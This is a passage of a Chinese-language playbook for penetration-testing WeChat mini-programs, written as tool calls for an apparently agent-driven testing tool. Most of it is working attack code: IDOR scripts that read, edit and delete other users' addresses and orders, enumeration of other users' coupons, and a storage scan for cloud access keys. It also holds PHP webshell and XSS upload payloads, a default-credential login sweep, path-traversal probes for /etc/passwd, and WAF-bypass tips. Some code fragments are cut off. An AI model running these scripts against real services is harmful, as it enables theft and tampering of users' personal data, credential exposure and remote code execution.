var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
var myAddressId=<Step2获取的自己的ID>; // 如 42
// 枚举相邻 ID(前后各 10 个)
var testIds=[];
for(var i=Math.max(1,myAddressId-10);i<=myAddressId+10;i++) testIds.push(i);
testIds=[1,2,3,100,1000].concat(testIds); // 加入极值
var results=[];
var getPath='/api/app/user/address/get'; // 从 Step1 接口清单中取真实路径
for(var id of testIds){
var r=await new Promise(res=>{wx.request({
url:base+getPath+'?id='+id,method:'GET',
header:{token:token,platform:'mp-weixin'},
success:function(r){
var d=r.data&&r.data.data;
res({id:id,code:r.data&&r.data.code,
hasData:!!(d&&Object.keys(d).length),
name:d&&(d.name||d.receiverName||''),
phone:d&&(d.phone||d.mobile||d.tel||''),
detail:d&&(d.detail||d.address||d.fullAddress||''),
preview:JSON.stringify(d).slice(0,300)});
},
fail:function(e){res({id:id,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
id=自己ID → code:200 有数据 → BASELINE(正常)
id=他人ID → code:200 + name/phone/detail 与自己不同 → 🔴 IDOR 确认
id=他人ID → code:200 + 空数据 {} → ⚠️ 服务端用 token 过滤(正常防御)
id=随机ID → code:403/401 → ✅ 有鉴权
Step 4:修改/删除他人地址(写越权,危害更大)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
var targetId=<他人的addressId>; // 从Step3中找到的他人地址ID
var tests=[
// 修改越权
{label:'edit_other',method:'PUT',path:'/api/app/user/address/edit',
data:{id:targetId,name:'HACKED',phone:'13900000001',detail:'越权修改的地址'}},
// 设为默认(可能影响他人下单行为)
{label:'set_default',method:'PUT',path:'/api/app/user/address/default',
data:{id:targetId}},
// 删除越权
{label:'delete_other',method:'DELETE',path:'/api/app/user/address/delete?id='+targetId,
data:{}},
// POST 方式删除(部分接口用 POST)
{label:'delete_post',method:'POST',path:'/api/app/user/address/delete',
data:{id:targetId}},
];
var results=[];
for(var t of tests){
var r=await new Promise(res=>{wx.request({
url:base+t.path,method:t.method,
header:{token:token,'Content-Type':'application/json',platform:'mp-weixin'},
data:t.data,
success:function(r){res({label:t.label,code:r.data&&r.data.code,
msg:r.data&&r.data.msg,preview:JSON.stringify(r.data).slice(0,200)})},
fail:function(e){res({label:t.label,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
edit_other code:200 → 🔴 越权修改他人地址(严重)
delete_other code:200 → 🔴 越权删除他人地址(严重)
set_default code:200 → 🔴 越权修改他人默认收货地址(影响订单投递)
所有操作返回 403/401 → ✅ 服务端验证地址归属
2.4.B 订单越权测试(v2.8 新增 — 不支付也能测越权)
核心原则:不需要实际支付,只需要提交订单(状态=待支付)拿到 orderId,再用该 ID 对其他订单做读取/取消/改价测试。资金类操作遵守红线:build_replay_plan 只生成计划,不实际发出支付请求。
Step 1:导航订单页采集真实接口
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{wx.navigateTo({url:'/pages-sub/order/order'});return 'ok'})()")
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{wx.navigateTo({url:'/pages-sub/orderDetail/orderDetail?id=1'});return 'ok'})()")
analysis_ops(action="find_payment_and_order_surfaces")
→ 识别: trade/get-list, trade/get, trade/cancel, order/add, order/pay, cashier 等
→ 特别注意含 id/orderId/tradeId/no 参数的 GET/POST 接口
Step 2:提交测试订单(不支付,仅拿到 orderId)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
// 先获取可购买的商品列表(找一个最便宜的商品)
var prodR=await new Promise(res=>{wx.request({
url:base+'/api/app/product/get-list?pageNo=1&pageSize=5',method:'GET',
header:{token:token,platform:'mp-weixin'},
success:function(r){res(r.data&&r.data.data)},fail:function(e){res(null)}
})});
console.log('[PRODUCTS]'+JSON.stringify(prodR).slice(0,500));
// 尝试提交订单(只提交,不支付)
var orderPaths=[
'/api/app/trade/add',
'/api/app/order/add',
'/api/app/trade/create',
'/api/app/order/create',
'/api/app/trade/submit',
];
var results=[];
for(var p of orderPaths){
var r=await new Promise(res=>{wx.request({
url:base+p,method:'POST',
header:{token:token,'Content-Type':'application/json',platform:'mp-weixin'},
data:{
productId:prodR&&prodR.list&&prodR.list[0]&&prodR.list[0].id||1,
quantity:1,
addressId:1, // 使用Step1添加的地址ID
remark:'IDOR测试订单',
},
success:function(r){res({path:p,code:r.data&&r.data.code,
orderId:r.data&&r.data.data&&(r.data.data.id||r.data.data.orderId||r.data.data.tradeId||r.data.data.no),
preview:JSON.stringify(r.data).slice(0,400)})},
fail:function(e){res({path:p,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 记录成功的 orderId / tradeId(此时订单状态为待支付,不会实际扣款)
→ ⚠️ 红线:不发起支付请求,只记录 ID
Step 3:用自己的 orderId 读取/枚举他人订单(IDOR)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
var myOrderId=<Step2获取的自己订单ID>; // 如 10086
// 枚举相邻 ID + 极值
var testIds=[1,2,3,100];
for(var i=Math.max(1,myOrderId-5);i<=myOrderId+5;i++) testIds.push(i);
var getPath='/api/app/trade/get'; // 从接口清单取真实路径,也试 order/get/orderDetail/get
var results=[];
for(var id of testIds){
var r=await new Promise(res=>{wx.request({
url:base+getPath+'?id='+id,method:'GET',
header:{token:token,platform:'mp-weixin'},
success:function(r){
var d=r.data&&r.data.data;
res({id:id,code:r.data&&r.data.code,
hasData:!!(d&&Object.keys(d||{}).length),
userId:d&&(d.userId||d.buyerId||d.memberId||''),
amount:d&&(d.amount||d.totalPrice||d.payAmount||''),
status:d&&(d.status||d.tradeState||d.state||''),
phone:d&&(d.phone||d.receiverPhone||d.mobile||''),
preview:JSON.stringify(d).slice(0,300)});
},
fail:function(e){res({id:id,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
他人 orderId → code:200 + 不同 userId/phone/amount → 🔴 订单 IDOR(高危)
他人 orderId → code:200 + 空 data → ⚠️ 服务端按 token 过滤(正常)
任意 orderId → code:403/401 → ✅ 鉴权有效
⚠️ 订单数据中出现他人手机号/姓名 → 🔴 同时构成敏感数据泄露
Step 4:取消他人订单(写越权)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
var otherOrderId=<Step3中找到的他人订单ID>;
var tests=[
// 取消越权(不涉及资金,安全操作)
{label:'cancel_other',method:'POST',path:'/api/app/trade/cancel',data:{id:otherOrderId,reason:'测试'}},
{label:'cancel_other2',method:'POST',path:'/api/app/order/cancel',data:{orderId:otherOrderId}},
// 确认收货越权(伪造他人已收货)
{label:'confirm_other',method:'POST',path:'/api/app/trade/confirm',data:{id:otherOrderId}},
// 删除订单记录
{label:'delete_order',method:'POST',path:'/api/app/trade/delete',data:{id:otherOrderId}},
];
var results=[];
for(var t of tests){
var r=await new Promise(res=>{wx.request({
url:base+t.path,method:t.method,
header:{token:token,'Content-Type':'application/json',platform:'mp-weixin'},
data:t.data,
success:function(r){res({label:t.label,code:r.data&&r.data.code,msg:r.data&&r.data.msg})},
fail:function(e){res({label:t.label,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
cancel_other code:200 → 🔴 越权取消他人订单(严重)
confirm_other code:200 → 🔴 越权伪造他人收货(严重,可触发商家发货/结算)
delete_order code:200 → 🔴 越权删除他人订单记录(严重)
所有操作返回 403/401 → ✅ 服务端验证订单归属
Step 5:订单价格篡改测试(客户端提交金额时)
analysis_ops(action="build_replay_plan", request_id="<订单提交请求ID>")
→ 检查请求 body 中是否有 price/amount/totalFee/goodsPrice 等客户端可控价格参数
→ 若有 → 🔴 CRITICAL:客户端价格注入风险,1分钱买任意商品
→ 生成修改方案(price 改为 0.01)但 **不自动发送**
Step 6:优惠券/积分越权使用
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
// 获取自己的优惠券列表(找到 couponId)
var coupons=await new Promise(res=>{wx.request({
url:base+'/api/app/coupon/user/coupon/get-list?states=&pageNo=1&pageSize=10',
method:'GET',header:{token:token,platform:'mp-weixin'},
success:function(r){res(r.data&&r.data.data&&r.data.data.couponList||[])},
fail:function(e){res([])}
})});
console.log('[MY_COUPONS]'+JSON.stringify(coupons).slice(0,500));
// 枚举其他 couponId(相邻值)
var myCouponId=coupons[0]&&coupons[0].id;
if(!myCouponId) return '没有可用优惠券,跳过';
var testIds=[1,2,3,myCouponId-1,myCouponId,myCouponId+1,myCouponId+2];
var results=[];
for(var id of testIds){
var r=await new Promise(res=>{wx.request({
url:base+'/api/app/coupon/user/coupon/get?id='+id,method:'GET',
header:{token:token,platform:'mp-weixin'},
success:function(r){
var d=r.data&&r.data.data;
res({id:id,code:r.data&&r.data.code,
userId:d&&(d.userId||d.memberId||''),
discount:d&&(d.discount||d.discountAmount||d.value||''),
status:d&&(d.status||d.state||''),
preview:JSON.stringify(d).slice(0,300)});
},
fail:function(e){res({id:id,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 他人 couponId → code:200 + 不同 userId → 🔴 优惠券 IDOR,可使用他人券
→ 下单时传入他人 couponId 且服务端不验证归属 → 🔴 免费薅券
2.5 其他风险面
analysis_ops(action="find_debug_admin_surfaces")
→ debug/admin/test/internal 路由
analysis_ops(action="find_sign_related_requests")
→ 含签名/时间戳/nonce 的接口(重放风险候选)
→ 对比同一接口多次请求的 sign 变化因子
2.5.A 上传点深度测试(v2.8 新增 — 不能只靠被动捕获)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
return orig.apply(this,arguments);
};
})()")
Step 1.5:从已捕获流量中查找上传 URL(Hook 未触发时的备用方案)
network_ops(action="get_all_requests")
文件名格式注意:很多小程序使用时间戳作为文件名,格式为 {timestamp}.{ext},例如:
Step 2:主动导航上传页面(关键 — 按路由关键词逐一触发)
| 路由关键词 | 典型上传场景 |
|---|
person / user / account / myInfo | 用户头像上传 |
editInfo / profile / edit | 个人资料图片 |
publishMoments / post / release | 发帖多图 / 视频 |
zone / community / circle | 社区发布图片 |
activity/apply / applyList | 活动报名证件照 |
kyc / verify / identity / realName | 实名认证证件 |
feedback / complaint / report | 投诉截图 |
live / livePlayer | 直播封面/横幅 |
editDealerTrade / salesTradeList | 经销商合同图片 |
album / photo / cloudAlbum | 相册多图 |
product / goods / item | 商品图片(商家端) |
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{wx.navigateTo({url:'/pages-sub/publishMoments/index'});return 'ok'})()")
network_ops(action="get_all_requests")
Step 3:OSS 前端直签检测(CRITICAL 级别风险)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
try{
var keys=wx.getStorageInfoSync().keys;
var r={};
keys.filter(k=>/sts|oss|cos|cred|bucket|region|endpoint|accessKey|secretKey|securityToken/i.test(k))
.forEach(k=>{try{r[k]=JSON.stringify(wx.getStorageSync(k)).slice(0,400)}catch(e){}});
return JSON.stringify(r);
}catch(e){return String(e)}
})()")
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
var hits={};
Object.keys(globalThis||{}).forEach(function(k){
try{
var v=globalThis[k];
var s=v&&typeof v==='object'?JSON.stringify(v):'';
if(s&&/accessKeyId|secretAccessKey|securityToken|bucket.*region|endpoint.*oss/i.test(s))
hits[k]=s.slice(0,400);
}catch(e){}
});
return JSON.stringify(hits);
})()")
→ 发现 accessKeyId + secretAccessKey + securityToken → 🔴 STS 前端直签泄露
→ 若 securityToken 存在但 expiration 已过期 → 🟡 已失效,但说明曾泄露
→ 发现 accessKeyId 无 securityToken(永久凭证)→ 🔴 CRITICAL,长期 AK/SK 硬编码
Step 4:文件类型绕过测试(对每个上传端点)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token='<当前token>';
var fs=wx.getFileSystemManager();
var base=wx.env.USER_DATA_PATH;
+'2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n'
+'3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>\nendobj\n'
+'4 0 obj\n<< /Length 41 >>\nstream\nBT /F1 12 Tf 100 700 Td (Hello PDF) Tj ET\nendstream\nendobj\n'
+'5 0 obj\n<< /S /JavaScript /JS (app.alert(\'XSS\')) >>\nendobj\n'
+'xref\n0 6\n0000000000 65535 f\n0000000009 00000 n\n0000000076 00000 n\n'
+'0000000133 00000 n\n0000000220 00000 n\n0000000311 00000 n\n'
+'trailer\n<< /Size 6 /Root 1 0 R >>\nstartxref\n385\n%%EOF';
var tests=[
// ─── PHP/后端执行类 ───
{label:'php_as_jpg', filename:'test.php', mime:'image/jpeg', content:'<?php phpinfo();?>'},
{label:'phtml', filename:'test.phtml', mime:'image/jpeg', content:'<?php system($_GET[\"c\"]);?>'},
{label:'gif_php', filename:'shell.gif', mime:'image/gif', content:'GIF89a<?php system($_GET[\"c\"]);?>'},
{label:'double_ext', filename:'img.php.jpg', mime:'image/jpeg', content:'<?php phpinfo();?>'},
// ─── 前端 XSS 类 ───
{label:'svg_xss', filename:'xss.svg', mime:'image/svg+xml',content:'<svg xmlns="http:
{label:'html_xss', filename:'xss.html', mime:'text/plain', content:'<script>alert(document.cookie)</script>'},
{label:'svg_mime_bypass',filename:String(Date.now())+'.svg', mime:'image/jpeg', content:'<svg><script>alert(1)</script></svg>'},
{label:'html_mime_bypass',filename:String(Date.now())+'.html',mime:'image/jpeg',content:'<script>alert(document.cookie)</script>'},
{label:'normal_jpg', filename:'normal.jpg', mime:'image/jpeg', content:'\\xff\\xd8\\xff\\xe0normal'},
];
var results=[];
for(var t of tests){
fs.writeFileSync(base+'/'+t.filename, t.content, 'utf8');
var r=await new Promise(res=>{
header:{token:token, platform:'mp-weixin'},
formData:{fileType:'image'},
success:function(r){
var fileUrl=''; try{fileUrl=JSON.parse(r.data).data.fileUrl||'';}catch(e){}
res({label:t.label,filename:t.filename,status:r.statusCode,fileUrl:fileUrl,resp:String(r.data).slice(0,300)});
},
fail:function(e){res({label:t.label,filename:t.filename,status:'fail',err:JSON.stringify(e)})}
});
});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
上传成功(200) + URL 保留 .php/.phtml → 🔴 访问 URL?c=id 验证 RCE
上传成功 + 文件被重命名为 UUID.jpg → ✅ 重命名保护
上传成功 + .svg + URL 保留扩展名 → 🔴 浏览器 / web-view XSS
服务端返回「文件格式不支持」→ ✅ 白名单限制
| 场景 | 危害 | 条件 |
|---|
任何渠道将 PDF 链接嵌入 web-view | 🔴 HIGH — webview 调用系统 PDF 阅读器 | 需 webview 支持 PDF 预览 |
Step 5:上传后访问验证
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var tests=[
{label:'php_rce', url:'<.php URL>?c=id'},
{label:'svg_xss', url:'<.svg URL>'},
];
var results=[];
for(var t of tests){
var r=await new Promise(res=>{
wx.request({url:t.url,method:'GET',
success:r=>res({label:t.label,status:r.statusCode,ct:r.header&&r.header['content-type'],body:JSON.stringify(r.data).slice(0,400)}),
fail:e=>res({label:t.label,status:'fail'})});
});
results.push(r);
}
// uid= / root: → 🔴 RCE
// <script> 回显 → 🔴 SVG XSS
// content-type: application/pdf → 🔴 确认 PDF 以正确类型投递,Acrobat 打开触发 JS
return JSON.stringify(results,null,2);
})()")
2.5.1 专项风险检测(v2.5 新增)
① JWT / Token 暴露在 URL 查询参数中
# 从接口清单中过滤 URL 含 token=eyJ / access_token= / jwt= 的请求
network_ops(action="get_all_requests")
→ 筛选 url.includes('token=eyJ') 或 query 字段含 token/jwt/access_token 键
→ 风险: token 出现在服务端日志 / Nginx access log / Referer 头 / 浏览器历史
→ 定级: MEDIUM(信息泄露)→ 若 token 可直接复用则升级为 HIGH
→ 建议: token 改为 Authorization 请求头传输
② 静态 / 固定 sign 值(不具备重放防护)
# 判断 sign 是否为固定字符串(非计算值)
analysis_ops(action="find_sign_related_requests")
→ 对同一接口的多次请求对比 sign 字段
→ 若 sign 值完全相同(如 sign=latestLecture_daka)→ 🔴 静态 sign,重放无阻碍
→ 若 sign 随 timestamp 变化 → 进一步检查 timestamp 窗口长度
→ 若多次请求 sign 不同但 nonce 相同 → 🔴 nonce 未一次性校验
③ 路径双斜杠异常(/path//endpoint)
# 在已采集请求中搜索双斜杠路径
network_ops(action="get_all_requests")
→ 筛选 url 含 '//' 且不是协议头 '://' 的请求
→ 风险: 部分服务器对 /path//endpoint 和 /path/endpoint 路由逻辑不同
可能绕过中间件认证(如 Spring Security / Nginx location 规则)
→ 测试: 同时发送标准路径和双斜杠路径,对比响应差异
④ enc 绑定模式识别(context-bound request signature)
# enc 参数特征: 32位 hex(MD5 长度),出现在多个不同接口的 query/body 中
# enc 绑定上下文,无法跨 session 复用(更换 token 则 enc 失效)
# 识别方式:
# 1. enc 出现在多个接口且长度固定(32位)
# 2. 更换 Authorization/auth-token → 相同 enc 返回"加密校验失败"
# 3. 清空/伪造 Authorization 但 enc 不变 → 仍返回"加密校验失败"
# 结论: enc 与 token 共同构成双因子请求签名,IDOR 测试需在同一 session 内完成
# 突破思路:
# → 优先从运行时 Storage 提取当前有效 token + enc(见场景 3)
# → 使用 hook_wx_request 捕获下一次真实请求中的完整 headers(含 enc 原值)
⑤ 多 appId 同属一个评估目标(不需要分开评估)
# 核心原则:同一 WeChat 会话中出现的多个 appId,均属同一小程序产品线(同一开发者),
# 共同构成评估目标。不同 appId 只是前端入口不同,后端 API 服务器通常共享。
# → 不需要为每个 appId 单独开展独立的 Phase 0-6 评估
# → 只需记录每个 appId 对应的认证机制,然后统一在当前 session 内测试所有接口
# Step 1: 识别所有 appId(从 Referer 头解析)
network_ops(action="get_all_requests")
→ 提取 request_headers.Referer
→ 正则匹配: servicewechat\.com\/([a-z0-9]{16,18})\/
→ 得到 appId 列表,如: [wx83e9ba48, wx5636748e, wxf19adc6d]
# Step 2: 确认同属一个产品(验证后端域名重叠)
# 若不同 appId 的请求指向相同 API 域名 → 确认同一产品生态,全部纳入范围
# 若后端域名完全不同 → 可能是不同业务,需向委托方确认授权范围
# Step 3: 按认证体系分类(而非按 appId 分类)
# 不要按 appId 建立分析筒仓,而是按认证类型建立统一的接口清单:
# Bearer JWT 系: /v2/userinfor/... + /v2/wechat/... (Authorization header)
# Token+Sign 系: /yin/applet/... (auth-token + Authen-Sign)
# Cookie 系: /api-zd-wap/... (Cookie header)
# enc 参数系: /wx/lecture/... + /cx/recommend/... (enc query param)
# Step 4: 统一执行 Phase 2 全套分析,覆盖所有认证系的接口
analysis_ops(action="get_api_inventory") → 不按 appId 过滤,全量分析
analysis_ops(action="find_idor_candidates") → 跨 appId 寻找 IDOR
analysis_ops(action="analyze_auth_surface") → 覆盖所有认证机制
⑥ Authen-Sign 复合签名头识别与分析(v2.6 新增)
# Authen-Sign 格式(常见于医疗/政务类小程序后端):
# {user-uuid},{timestamp-ms},{base64(md5_hash)},{platform}
# 示例: fa7a24fe-ba43-4636-84cf-87b22e77d025,1779600226434,Y2M2MDg1MT...,miniprogram
#
# 各段含义:
# Part 1 (UUID): 用户/设备标识(不随请求变化)
# Part 2 (timestamp): 毫秒时间戳(服务端验证时效窗口)
# Part 3 (base64): base64(MD5(something)) — 完整性 hash,32字节
# Part 4 (platform): 固定字符串 "miniprogram" / "h5" / "web"
#
# 安全评估要点:
# 1. 时效窗口: 对比两次请求的 timestamp 差值 → 若超过 5 分钟仍有效 → 重放窗口过长
# 2. Part3 hash 算法: 用 decrypt_ops(action="decode_base64") 解码后看是否为 32 位 hex
# → 若是 MD5 格式,尝试碰撞: MD5(uuid), MD5(uuid+timestamp), MD5(token) 等
# 3. UUID 是否与 uid 相关: 若 UUID = MD5(uid) 或 UUID 可通过 uid 推算 → IDOR 风险
# 4. 测试无 Authen-Sign 时的响应: 若返回 500 而非 401/403 → 服务端存在错误处理缺陷
# 捕获真实 Authen-Sign(用于重放测试):
network_ops(action="hook_wx_request")
→ 触发下一次包含 Authen-Sign 的请求
→ network_ops(action="get_all_requests") 获取最新请求的完整 headers
→ 提取 Authen-Sign 原值,在时效窗口内重用于 IDOR 测试
2.6 接口参数 Fuzz 建议
analysis_ops(action="passive_param_fuzz_suggestions", request_id="<id>")
→ 按参数类型生成 Fuzz 建议(只建议,不自动发送):
├─ 数字参数 → 负数/零/极大值/浮点数/字符串
├─ 字符串参数 → XSS payload/SQL 注入探测/路径遍历
├─ 枚举参数 → 越界值/空值/null
└─ JSON body → 类型混淆/原型污染探测
2.7 重放与对比
analysis_ops(action="build_replay_plan", request_id="<id>")
→ 生成人工重放测试计划(只生成,不自动发送)
# 签名重放验证:
analysis_ops(action="compare_two_requests", request_id_a="<同一接口请求1>", request_id_b="<同一接口请求2>")
→ 对比 sign/timestamp/nonce 的差异和绑定关系
→ 判断: 签名是否绑定请求体?timestamp 窗口多长?nonce 是否一次性?
2.8 HTTP 响应码行为变化检测(v2.7 新增)
核心思路:通过向已知敏感端点(传统登录接口、文件上传端点、CVE 路径)发送探测请求,根据 HTTP 响应码组合推断安全策略演进和架构迁移,在深入逆向前先建立完整行为地图。
HTTP 响应码行为变化矩阵:
├─ 默认口令登录尝试 → 404 ← 认证已迁移至 OAuth2/OIDC,原端点下线
├─ 文件上传接口探测 → 404 ← 功能下线或路径迁移
├─ 路径遍历 CVE 探针 → 404 ← 漏洞已修补(路径不存在)
│ → WAF 418 ← WAF 主动拦截(商业 WAF 特征码)
└─ 带路由参数端点 → HTTP 200 ← REST 路由存活,行为变化(IDOR 高价值面)
① 认证机制迁移探测(传统登录 → OAuth2)
# Step 1: 批量探测传统登录端点存活性
runtime_ops(action="runtime_eval", expression="(async ()=>{
var paths=[
'/login','/api/login','/api/auth/login','/api/user/login',
'/api/v1/login','/api/v2/login','/auth/login','/user/login',
'/api/token','/oauth/token','/api/signin','/api/users/login'
];
var results=[];
for(var p of paths){
var r=await fetch(p,{method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({username:'admin',password:'admin'})});
results.push({path:p,status:r.status});
}
return JSON.stringify(results,null,2);
})()")
| 状态码 | 含义 | 后续操作 |
|---|
| 404 | 端点下线 → 认证已迁移 | 执行步骤 2 发现 OAuth2 端点 |
| 302 → /oauth/ | OAuth2 迁移确认 | 分析授权流程,测试 redirect_uri 绕过 |
| 401 / 400 | 端点存活,凭据验证失败 | 进行弱口令 / 默认口令测试 |
| 200 + token 字段 | 🔴 弱口令命中 | 提取 token,测试越权 |
| 429 | 速率限制生效 | ✅ 防暴力破解有效;记录限制强度 |
# Step 2: OAuth2 / SSO 端点发现(传统登录返回 404 后执行)
runtime_ops(action="runtime_eval", expression="(async ()=>{
var oauthPaths=[
'/.well-known/openid-configuration',
'/oauth/authorize','/oauth/token','/connect/token',
'/sso/login','/cas/login','/saml/login',
'/api/oauth2/token','/auth/oauth/token'
];
var results=[];
for(var p of oauthPaths){
var r=await fetch(p);
if(r.status!==404) results.push({path:p,status:r.status});
}
return JSON.stringify(results,null,2);
})()")
⚠️ 迁移盲区:旧端点 404 不等于认证完全安全。检查:1) Storage 中是否存有旧 token;2) 旧 API 版本(/v1/ vs /v2/)是否同步迁移;3) refresh_token 接口是否仍接受旧格式凭据。
② 文件上传接口存活检测
# GET + POST 双探文件上传端点
runtime_ops(action="runtime_eval", expression="(async ()=>{
'/avatar','/api/avatar','/import','/api/import',
'/attach','/api/attach'
];
var token='<当前token>';
var results=[];
var g=await fetch(path,{method:'GET',
headers:{'Authorization':'Bearer '+token}});
var fd=new FormData();
fd.append('file',new Blob(['test'],{type:'text/plain'}),'test.txt');
var p=await fetch(path,{method:'POST',
headers:{'Authorization':'Bearer '+token},body:fd});
if(g.status!==404||p.status!==404)
results.push({path:path,GET:g.status,POST:p.status});
}
return JSON.stringify(results,null,2);
})()")
| GET | POST | 含义 | 后续操作 |
|---|
| 404 | 404 | 端点完全下线 | 跳过;检查流量中是否有云 OSS 直传签名请求 |
| 404 | 200/400 | 仅接受 POST | 进行文件上传漏洞测试 |
| 405 | 200/400 | 端点存活,GET 不被允许 | 进行文件上传漏洞测试 |
| 401/403 | 401/403 | 需要认证 | 带有效 token 重测 |
| 200/201 | 200/201 | 端点存活 | 测试扩展名 / Content-Type / Magic Bytes 三层绕过 |
发现存活上传端点后,按以下优先级测试:.php/.phar/.php5 扩展名 → Content-Type 伪造(image/gif)→ Magic Bytes 文件头(GIF89a<?php system($_GET['cmd']); ?>)→ 双扩展名(shell.php.gif)→ 上传成功后访问文件路径确认是否可执行。
③ 路径遍历 CVE 探针与 WAF 指纹识别
# 路径遍历 CVE 探针(含 WAF 418 检测)
runtime_ops(action="runtime_eval", expression="(async ()=>{
var probes=[
{label:'basic_lfi', path:'/../../../etc/passwd'},
{label:'encoded_lfi', path:'/%2e%2e/%2e%2e/etc/passwd'},
{label:'double_encoded', path:'/%252e%252e/%252e%252e/etc/passwd'},
{label:'null_byte', path:'/../../../etc/passwd%00.jpg'},
{label:'semicolon_spring', path:'/static/..;/WEB-INF/web.xml'},
{label:'actuator_env', path:'/actuator/env'},
{label:'actuator_heap', path:'/actuator/heapdump'},
{label:'double_slash', path:'//etc//passwd'},
{label:'windows_ini', path:'/../../../windows/win.ini'},
{label:'dot_segment', path:'/./etc/passwd'},
];
var results=[];
for(var p of probes){
var r=await fetch(p.path,{method:'GET'});
var hdrs={};
for(var [k,v] of r.headers) hdrs[k]=v;
results.push({
label:p.label,status:r.status,
wafHint:hdrs['server']||hdrs['x-protected-by']||hdrs['cf-ray']||'',
preview:(await r.text()).slice(0,150)
});
}
return JSON.stringify(results,null,2);
})()")
| 状态码 | 含义 | 后续操作 |
|---|
200 + root:x:0:0 或文件内容 | 🔴 路径遍历确认 | 枚举 /etc/shadow、.env、SSH 私钥 |
| 200 + 空/JSON 响应 | 路径被规范化,无漏洞 | 记录为已防御 |
| 404 | 已修补 或 WAF 统一返回 404 | 尝试双重编码变体(%252e) |
| 403 | ACL 或 WAF 拦截 | 测试路径操纵绕过(..;/、%2e%2e/) |
| 418 | 🔴 WAF 主动拦截(商业 WAF 特征码) | 识别 WAF 厂商,执行绕过流程 |
| 406 | WAF 拦截(ModSecurity 常见) | 尝试 chunked 传输绕过 |
WAF 指纹速查(418 响应时读取响应头 / Body):
响应特征 → WAF 厂商 → 主要绕过策略
Server: cloudflare + cf-ray 头 → Cloudflare → chunked + 路径操纵
X-Sucuri-ID 头 → Sucuri WAF → 大小写 + 空格替代
响应体含 ModSecurity / NOYB → ModSecurity → 参数污染 HPP + 多行注释
响应体含 安全狗 / safedog.cn → 安全狗 → 双重 URL 编码
响应体含 宝塔 / bt.cn → 宝塔 WAF → chunked 分段传输
响应体含 yunsuo / 云锁 → 云锁 → Unicode 全角编码
阿里云拦截页 / 阿里云盾特征 → 阿里云盾 → 参数位置变换 + HPP
⚠️ WAF 统一返回 404 时不能排除漏洞存在:尝试双重 URL 编码(%252e%252e%252f)或路径参数注入(/app;foo=bar/../../../etc/passwd),绕过 WAF 的路径匹配规则后观察后端响应。Spring Actuator 端点(/actuator/env、/actuator/heapdump)无需路径穿越即可泄露配置和内存 dump,优先检测。
④ 带路由参数的服务端点发现(行为变化)
# REST 风格路由参数枚举——发现行为变化端点
runtime_ops(action="runtime_eval", expression="(async ()=>{
var token='<当前有效token>';
var resources=['users','orders','products','items','accounts',
'members','profiles','records','projects','articles'];
var testIds=[1,2,3,100,'me','current',0,'undefined'];
var results=[];
for(var res of resources){
for(var id of testIds.slice(0,4)){
var r=await fetch('/api/'+res+'/'+id,{method:'GET',
headers:{'Authorization':'Bearer '+token}});
var body='';
if(r.status===200) body=(await r.text()).slice(0,300);
results.push({url:'/api/'+res+'/'+id,status:r.status,
preview:r.status===200?body:''});
}
}
return JSON.stringify(results.filter(r=>r.status===200),null,2);
})()")
行为变化判断标准:
| 端点响应 | 行为变化类型 | 后续操作 |
|---|
/api/users/1 → 200 + 他人数据 | 🔴 行为变化:IDOR 面暴露 | 枚举相邻 ID,见 Phase 2.2 |
/api/users/1 → 200 + 自己数据 | ⚠️ 后端绑定 token,路径参数被忽略 | 换无效 token 确认是否真正绑定 |
DELETE /api/users/1 → 200 | 🔴 行为变化:越权写操作 | 立即确认并停止(避免误删真实数据) |
/api/users/undefined → 200 | 🔴 行为变化:未初始化参数路径 | 见 Phase 2.2.1 undefined IDOR |
/api/users/0 → 200 + 特殊数据 | 🔴 边界值未过滤 | 检查 ID=0 是否为特权账号 |
| 所有路径返回 404 | 路由前缀不匹配 | 检查 /v1/ /v2/ /rest/ 等版本前缀 |
# HTTP 方法枚举(确认允许方法 = 行为变化矩阵)
runtime_ops(action="runtime_eval", expression="(async ()=>{
var url='/api/<存活资源>/<id>';
var token='<token>';
var methods=['GET','POST','PUT','PATCH','DELETE','OPTIONS'];
var results=[];
for(var m of methods){
var init={method:m,headers:{'Authorization':'Bearer '+token,
'Content-Type':'application/json'}};
if(m!=='GET') init.body=JSON.stringify({});
var r=await fetch(url,init);
results.push({method:m,status:r.status});
}
return JSON.stringify(results,null,2);
})()")
// GET/PUT/DELETE 同时返回 200 → 越权写操作风险(行为变化最高优先级)
// OPTIONS 返回 Allow 头 → 直接读取服务端允许方法列表
Phase 3:流量解密分析
3.1 编码识别(第一步)
decrypt_ops(action="auto_detect_encoding", value="<未知编码值>")
3.2 单步解密
decrypt_ops(action="decrypt_payload",
value="<base64密文>",
algorithm="aes",
key="<key>",
iv="<iv>",
mode="cbc",
input_encoding="base64",
